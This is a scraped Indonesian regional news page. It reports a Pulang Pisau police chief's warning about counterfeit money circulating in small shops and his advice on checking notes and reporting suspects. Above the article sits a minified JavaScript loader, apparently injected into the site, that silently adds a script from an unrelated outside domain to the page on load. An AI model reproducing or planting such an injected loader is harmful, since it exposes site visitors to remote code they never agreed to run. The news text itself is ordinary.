(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Polisi menata uang-uang palsu sebelum dimusnahkan dengan menggunakan mesin pencacah, di Ditreskrimsus Polda Jateng, Semarang, Jawa Tengah, Rabu (22/2). Lebih dari 30 ribu uang palsu berbagai pecahan yang nilai nominalnya setara Rp2,4 miliar tersebut merupakan limpahan dari temuan Bank Indonesia selama tiga tahun terakhir di wilayah Semarang. ANTARA FOTO/R. Rekotomo/pd/17.
PULANG PISAU, Kejadian terkait peredaran uang palsu yang dialami beberapa warung kelontong dan warung kKopi di wilayah Pulang Pisau, membuat Kapolres Pulang Pisau AKBP Siswo Yuwono Bima Putra Mada mengambil sikap. Ia meminta para intel dan reskrim untuk lebih mewaspadai hal-hal yang mencurigakan, khususnya terkait peredaraan uang palsu.
Orang nomor satu di korps Bhayangkara Pulpis ini juga mengingatkan warga Pulang Pisau agar ikut membantu mengungkap pengedaran uang palsu. Yakni dengan melapor secepat mungkin saat ketemu transaksi yang mencurigakan.
“Pulang Pisau memang berpotensi untuk dijadikan pasar peredaran uang palsu karena letaknya yang strategis, jalur pengendara dari arah Palangkaraya dan Banjarmasin. Bahkan pabrik pembuatan uang palsu berhasil di ungkap beberapa hari kemarin. Hasil pengakuan para pelaku, Pulang Pisau termasuk pasar untuk sebaran uang palsu. Nah, kini kita minta semua untuk saling berkordinisasi,” kata Kapolres AKBP Siswo Yuwono.
Masih dikatakan Siswo yang juga mantan Kasat Reskrim Polres Metro Jakarta Pusat ini, kebanyakan Modus yang sering dipakai pengedar uang palsu adalah menukarkan uang dengan belanja di warung-warung kecil. Meski penyebarannya tidak banyak, kisaran hanya beberapa lembar dalam satu kali transaksi dan dilakukan secara berulang – ulang. Namun jika sering tidak segera di ungkap di khawatirkan akan mengganggu stabilitas keuangan.
“Kalau angka transaksi sering dilakukan pada banyak warung atau toko dan rutin dilakukan tentu akan berbahaya. Kita himbau masyarakat untuk bisa menerapkan 3 M dalam mencegah beredarnya uang aspal tadi. Yakni meraba, menerawang dan melihat tanda hologram keasliannya. Kalau ada yang mencurigakan segera lapor ke aparat agar jejak pelaku bisa dikejar,” tukasnya. (Sjy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.